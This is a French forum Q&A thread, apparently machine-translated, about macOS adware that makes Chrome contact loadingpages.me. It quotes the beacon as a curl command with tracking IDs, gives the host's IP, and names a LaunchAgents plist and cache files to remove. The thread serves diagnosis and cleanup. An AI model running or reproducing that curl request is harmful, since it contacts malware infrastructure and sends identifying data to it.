Pourquoi navigateur Chrome envoyer automatiquement une demande Cross Origin http://loadingpages.me/jo/is

Question

Si je visite github.com ou tout autre site Web, suite à la demande HTTP sera envoyée (comme cURL)

curl 'http://loadingpages.me/jo/is?id=06EABEDF-9511-5AC0-B879-56F132D94E21&d=3168a8ab-1bcf-41ba-a65d-762b1336fdca&cl=upd' -H 'Referer: https://github.com/' --compressed 

DNS réponse comme suit:

---

$ nslookup 
> server 8.8.8.8 
Default server: 8.8.8.8 
Address: 8.8.8.8#53 
> loadingpages.me 
Server:  8.8.8.8 
Address: 8.8.8.8#53 

Non-authoritative answer: 
Name: loadingpages.me 
Address: 130.117.78.138 

Answer 1

Malware, enlevé par ... (Non Publicité)

Answer 2

C'est une sorte de malware. Découvrez les répertoires ~/Library/ et ~/Library/LaunchAgents pour certains scripts/applications étranges. Par étrange, je veux dire des noms étranges et inattendus.

Answer 3

Vous êtes infecté par un logiciel malveillant, celui que j'ai rencontré here. Vous serez heureux de savoir qu'Apple ne prend actuellement aucune mesure pour le retirer de votre ordinateur par le biais des mises à jour de sécurité, ni l'empêcher de contacter le loadingpages.me sans votre consentement. Les données qui sont envoyées à cette adresse peuvent inclure tout ce que le malware a pu rassembler: un virus que j'ai trouvé juste avec celui-ci incluait des sauvegardes de données Web de Safari, Firefox et Chrome à ce qu'il envoyait à la maison (cela peut inclure des cookies et l'historique de navigation).

Vous devez exécuter un antivirus immédiatement, mais cela peut être insuffisant si ce virus n'a pas été signalé. Je recommande malwarebytes ou Sophos AV.

Answer 4

Supprimer ce fichier: ~/Library/LaunchAgents/com.ectropium.plist

Answer 5

, essayez aussi trouver dans le fichier étrange ~/Library/Caches/org.nn.updater/fsCachedData/ répertoire avec loadingpaqes.info à l'intérieur, je supprimer ce fichier trop